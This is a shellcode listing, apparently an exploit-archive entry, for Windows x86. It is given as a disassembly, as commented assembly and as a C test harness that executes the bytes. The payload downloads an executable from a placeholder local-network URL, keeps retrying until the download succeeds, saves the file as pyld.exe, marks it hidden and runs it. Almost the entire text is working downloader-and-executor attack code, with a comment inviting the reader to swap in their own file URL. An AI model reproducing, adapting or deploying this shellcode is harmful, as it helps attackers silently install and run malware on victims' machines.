Windows x86 URLDownloadToFileA()+SetFileAttributesA()+WinExec()+ExitProcess() shellcode.
fe70b42b0ff9740dddf091231d8cb5b25f3fa26da592d971f7324912ff25a9ca/*
Title : Windows x86 URLDownloadToFileA()+SetFileAttributesA()+WinExec()+ExitProcess() shellcode
Date : 12-07-2016
Author : Roziul Hasan Khan Shifat
Tested on: Windows 7 x86
*/
/*
Disassembly of section .text:
00000000 <_start>:
0: 31 c9 xor %ecx,%ecx
2: 64 8b 41 30 mov %fs:0x30(%ecx),%eax
6: 8b 40 0c mov 0xc(%eax),%eax
9: 8b 70 14 mov 0x14(%eax),%esi
c: ad lods %ds:(%esi),%eax
d: 96 xchg %eax,%esi
e: ad lods %ds:(%esi),%eax
f: 8b 48 10 mov 0x10(%eax),%ecx
12: 8b 59 3c mov 0x3c(%ecx),%ebx
15: 01 cb add %ecx,%ebx
17: 8b 5b 78 mov 0x78(%ebx),%ebx
1a: 01 cb add %ecx,%ebx
1c: 8b 73 20 mov 0x20(%ebx),%esi
1f: 01 ce add %ecx,%esi
21: 31 d2 xor %edx,%edx
00000023 <count>:
23: 42 inc %edx
24: ad lods %ds:(%esi),%eax
25: 01 c8 add %ecx,%eax
27: 81 38 47 65 74 50 cmpl $0x50746547,(%eax)
2d: 75 f4 jne 23 <count>
2f: 81 78 04 72 6f 63 41 cmpl $0x41636f72,0x4(%eax)
36: 75 eb jne 23 <count>
38: 81 78 08 64 64 72 65 cmpl $0x65726464,0x8(%eax)
3f: 75 e2 jne 23 <count>
41: 8b 73 1c mov 0x1c(%ebx),%esi
44: 01 ce add %ecx,%esi
46: 8b 14 96 mov (%esi,%edx,4),%edx
49: 01 ca add %ecx,%edx
4b: 31 f6 xor %esi,%esi
4d: 89 d6 mov %edx,%esi
4f: 89 cf mov %ecx,%edi
51: 31 c0 xor %eax,%eax
53: 50 push %eax
54: 68 61 72 79 41 push $0x41797261
59: 68 4c 69 62 72 push $0x7262694c
5e: 68 4c 6f 61 64 push $0x64616f4c
63: 54 push %esp
64: 51 push %ecx
65: ff d2 call *%edx
67: 83 c4 0c add $0xc,%esp
6a: 31 c9 xor %ecx,%ecx
6c: 68 6c 6c 41 41 push $0x41416c6c
71: 88 4c 24 02 mov %cl,0x2(%esp)
75: 68 6f 6e 2e 64 push $0x642e6e6f
7a: 68 75 72 6c 6d push $0x6d6c7275
7f: 54 push %esp
80: ff d0 call *%eax
82: 83 c4 0c add $0xc,%esp
85: 31 c9 xor %ecx,%ecx
87: 68 65 41 42 42 push $0x42424165
8c: 88 4c 24 02 mov %cl,0x2(%esp)
90: 68 6f 46 69 6c push $0x6c69466f
95: 68 6f 61 64 54 push $0x5464616f
9a: 68 6f 77 6e 6c push $0x6c6e776f
9f: 68 55 52 4c 44 push $0x444c5255
a4: 54 push %esp
a5: 50 push %eax
a6: ff d6 call *%esi
a8: 83 c4 14 add $0x14,%esp
ab: 50 push %eax
000000ac <download>:
ac: 58 pop %eax
ad: 31 c9 xor %ecx,%ecx
af: 51 push %ecx
b0: 68 2e 65 78 65 push $0x6578652e
b5: 68 6d 70 6c 65 push $0x656c706d
ba: 68 30 2f 73 61 push $0x61732f30
bf: 68 36 2e 31 33 push $0x33312e36
c4: 68 36 38 2e 38 push $0x382e3836
c9: 68 39 32 2e 31 push $0x312e3239
ce: 68 3a 2f 2f 31 push $0x312f2f3a
d3: 68 68 74 74 70 push $0x70747468
d8: 54 push %esp
d9: 59 pop %ecx
da: 31 db xor %ebx,%ebx
dc: 53 push %ebx
dd: 68 2e 65 78 65 push $0x6578652e
e2: 68 70 79 6c 64 push $0x646c7970
e7: 54 push %esp
e8: 5b pop %ebx
e9: 31 d2 xor %edx,%edx
eb: 50 push %eax
ec: 52 push %edx
ed: 52 push %edx
ee: 53 push %ebx
ef: 51 push %ecx
f0: 52 push %edx
f1: ff d0 call *%eax
f3: 59 pop %ecx
f4: 83 c4 2c add $0x2c,%esp
f7: 31 d2 xor %edx,%edx
f9: 39 d0 cmp %edx,%eax
fb: 51 push %ecx
fc: 75 ae jne ac <download>
fe: 5a pop %edx
ff: 31 d2 xor %edx,%edx
101: 68 73 41 42 42 push $0x42424173
106: 88 54 24 02 mov %dl,0x2(%esp)
10a: 68 62 75 74 65 push $0x65747562
10f: 68 74 74 72 69 push $0x69727474
114: 68 69 6c 65 41 push $0x41656c69
119: 68 53 65 74 46 push $0x46746553
11e: 54 push %esp
11f: 57 push %edi
120: ff d6 call *%esi
122: 83 c4 14 add $0x14,%esp
125: 31 c9 xor %ecx,%ecx
127: 51 push %ecx
128: 68 2e 65 78 65 push $0x6578652e
12d: 68 70 79 6c 64 push $0x646c7970
132: 54 push %esp
133: 59 pop %ecx
134: 31 d2 xor %edx,%edx
136: 83 c2 02 add $0x2,%edx
139: 52 push %edx
13a: 51 push %ecx
13b: ff d0 call *%eax
13d: 83 c4 08 add $0x8,%esp
140: 31 c9 xor %ecx,%ecx
142: 68 78 65 63 41 push $0x41636578
147: 88 4c 24 03 mov %cl,0x3(%esp)
14b: 68 57 69 6e 45 push $0x456e6957
150: 54 push %esp
151: 57 push %edi
152: ff d6 call *%esi
154: 83 c4 08 add $0x8,%esp
157: 31 c9 xor %ecx,%ecx
159: 51 push %ecx
15a: 68 2e 65 78 65 push $0x6578652e
15f: 68 70 79 6c 64 push $0x646c7970
164: 54 push %esp
165: 59 pop %ecx
166: 31 d2 xor %edx,%edx
168: 52 push %edx
169: 51 push %ecx
16a: ff d0 call *%eax
16c: 83 c4 08 add $0x8,%esp
16f: 31 c9 xor %ecx,%ecx
171: 68 65 73 73 41 push $0x41737365
176: 88 4c 24 03 mov %cl,0x3(%esp)
17a: 68 50 72 6f 63 push $0x636f7250
17f: 68 45 78 69 74 push $0x74697845
184: 54 push %esp
185: 57 push %edi
186: ff d6 call *%esi
188: ff d0 call *%eax
*/
/*
section .text
global _start
_start:
xor ecx,ecx
mov eax,[fs:ecx+0x30] ;Eax=PEB
mov eax,[eax+0xc] ;eax=PEB.Ldr
mov esi,[eax+0x14] ;esi=PEB.Ldr->InMemOrderModuleList
lodsd
xchg esi,eax
lodsd
mov ecx,[eax+0x10] ;ecx=kernel32.dll base address
;------------------------------------
mov ebx,[ecx+0x3c] ;kernel32.dll +0x3c=DOS->e_flanew
add ebx,ecx ;ebx=PE HEADER
mov ebx,[ebx+0x78];Data_DIRECTORY->VirtualAddress
add ebx,ecx ;IMAGE_EXPORT_DIRECTORY
mov esi,[ebx+0x20] ;AddressOfNames
add esi,ecx
;------------------------------------------
xor edx,edx
count:
inc edx
lodsd
add eax,ecx
cmp dword [eax],'GetP'
jnz count
cmp dword [eax+4],'rocA'
jnz count
cmp dword [eax+8],'ddre'
jnz count
;---------------------------------------------
mov esi,[ebx+0x1c] ;AddressOfFunctions
add esi,ecx
mov edx,[esi+edx*4]
add edx,ecx ;edx=GetProcAddress()
;-----------------------------------------
xor esi,esi
mov esi,edx ;GetProcAddress()
mov edi,ecx ;kernel32.dll
;------------------------------------
;finding address of LoadLibraryA()
xor eax,eax
push eax
push 0x41797261
push 0x7262694c
push 0x64616f4c
push esp
push ecx
call edx
;------------------------
add esp,12
;-----------------------------
;LoadLibraryA("urlmon.dll")
xor ecx,ecx
push 0x41416c6c
mov [esp+2],byte cl
push 0x642e6e6f
push 0x6d6c7275
push esp
call eax
;-----------------------
add esp,12
;-----------------------
;finding address of URLDownloadToFileA()
xor ecx,ecx
push 0x42424165
mov [esp+2],byte cl
push 0x6c69466f
push 0x5464616f
push 0x6c6e776f
push 0x444c5255
push esp
push eax
call esi
;------------------------
add esp,20
push eax
;---------------------------------------
;URLDownloadToFileA(NULL,url,save as,0,NULL)
download:
pop eax
xor ecx,ecx
push ecx
;-----------------------------
;change it to file url
push 0x6578652e
push 0x656c706d
push 0x61732f30
push 0x33312e36
push 0x382e3836
push 0x312e3239
push 0x312f2f3a
push 0x70747468
;-----------------------------------
push esp
pop ecx ;url http://192.168.86.130/sample.exe
xor ebx,ebx
push ebx
;------------------------
;save as (no need change it.if U want to change it,do it)
push 0x6578652e
push 0x646c7970
;-------------------------------
push esp ;pyld.exe
pop ebx ;save as
xor edx,edx
push eax
push edx
push edx
push ebx
push ecx
push edx
call eax
;-------------------------
pop ecx
add esp,44
xor edx,edx
cmp eax,edx
push ecx
jnz download ;if it fails to download , retry contineusly
;------------------
pop edx
;-----------------------
;Finding address of SetFileAttributesA()
xor edx,edx
push 0x42424173
mov [esp+2],byte dl
push 0x65747562
push 0x69727474
push 0x41656c69
push 0x46746553
push esp
push edi
call esi
;--------------------------------
add esp,20 ;U must adjust stack or it will crash
;--------------------
;calling SetFileAttributesA("pyld.exe",FILE_ATTRIBUTE_HIDDEN)
xor ecx,ecx
push ecx
push 0x6578652e
push 0x646c7970
push esp
pop ecx
xor edx,edx
add edx,2 ;FILE_ATTRIBUTE_HIDDEN
push edx
push ecx
call eax
;-------------------
add esp,8
;---------------------------
;finding address of WinExec()
xor ecx,ecx
push 0x41636578
mov [esp+3],byte cl
push 0x456e6957
push esp
push edi
call esi
;----------------------
add esp,8
;------------------------
;calling WinExec("pyld.exe",0)
xor ecx,ecx
push ecx
push 0x6578652e
push 0x646c7970
push esp
pop ecx
xor edx,edx
push edx
push ecx
call eax
;-------------------------
add esp,8
;-----------------------------
;finding address of ExitProcess()
xor ecx,ecx
push 0x41737365
mov [esp+3],byte cl
push 0x636f7250
push 0x74697845
push esp
push edi
call esi
;--------------
call eax
*/
#include<stdio.h>
#include<string.h>
char shellcode[]="\x31\xc9\x64\x8b\x41\x30\x8b\x40\x0c\x8b\x70\x14\xad\x96\xad\x8b\x48\x10\x8b\x59\x3c\x01\xcb\x8b\x5b\x78\x01\xcb\x8b\x73\x20\x01\xce\x31\xd2\x42\xad\x01\xc8\x81\x38\x47\x65\x74\x50\x75\xf4\x81\x78\x04\x72\x6f\x63\x41\x75\xeb\x81\x78\x08\x64\x64\x72\x65\x75\xe2\x8b\x73\x1c\x01\xce\x8b\x14\x96\x01\xca\x31\xf6\x89\xd6\x89\xcf\x31\xc0\x50\x68\x61\x72\x79\x41\x68\x4c\x69\x62\x72\x68\x4c\x6f\x61\x64\x54\x51\xff\xd2\x83\xc4\x0c\x31\xc9\x68\x6c\x6c\x41\x41\x88\x4c\x24\x02\x68\x6f\x6e\x2e\x64\x68\x75\x72\x6c\x6d\x54\xff\xd0\x83\xc4\x0c\x31\xc9\x68\x65\x41\x42\x42\x88\x4c\x24\x02\x68\x6f\x46\x69\x6c\x68\x6f\x61\x64\x54\x68\x6f\x77\x6e\x6c\x68\x55\x52\x4c\x44\x54\x50\xff\xd6\x83\xc4\x14\x50\x58\x31\xc9\x51\x68\x2e\x65\x78\x65\x68\x6d\x70\x6c\x65\x68\x30\x2f\x73\x61\x68\x36\x2e\x31\x33\x68\x36\x38\x2e\x38\x68\x39\x32\x2e\x31\x68\x3a\x2f\x2f\x31\x68\x68\x74\x74\x70\x54\x59\x31\xdb\x53\x68\x2e\x65\x78\x65\x68\x70\x79\x6c\x64\x54\x5b\x31\xd2\x50\x52\x52\x53\x51\x52\xff\xd0\x59\x83\xc4\x2c\x31\xd2\x39\xd0\x51\x75\xae\x5a\x31\xd2\x68\x73\x41\x42\x42\x88\x54\x24\x02\x68\x62\x75\x74\x65\x68\x74\x74\x72\x69\x68\x69\x6c\x65\x41\x68\x53\x65\x74\x46\x54\x57\xff\xd6\x83\xc4\x14\x31\xc9\x51\x68\x2e\x65\x78\x65\x68\x70\x79\x6c\x64\x54\x59\x31\xd2\x83\xc2\x02\x52\x51\xff\xd0\x83\xc4\x08\x31\xc9\x68\x78\x65\x63\x41\x88\x4c\x24\x03\x68\x57\x69\x6e\x45\x54\x57\xff\xd6\x83\xc4\x08\x31\xc9\x51\x68\x2e\x65\x78\x65\x68\x70\x79\x6c\x64\x54\x59\x31\xd2\x52\x51\xff\xd0\x83\xc4\x08\x31\xc9\x68\x65\x73\x73\x41\x88\x4c\x24\x03\x68\x50\x72\x6f\x63\x68\x45\x78\x69\x74\x54\x57\xff\xd6\xff\xd0";
main()
{
printf("shellcode length %ld\n",(long)strlen(shellcode));
(* (int(*)()) shellcode) ();
}
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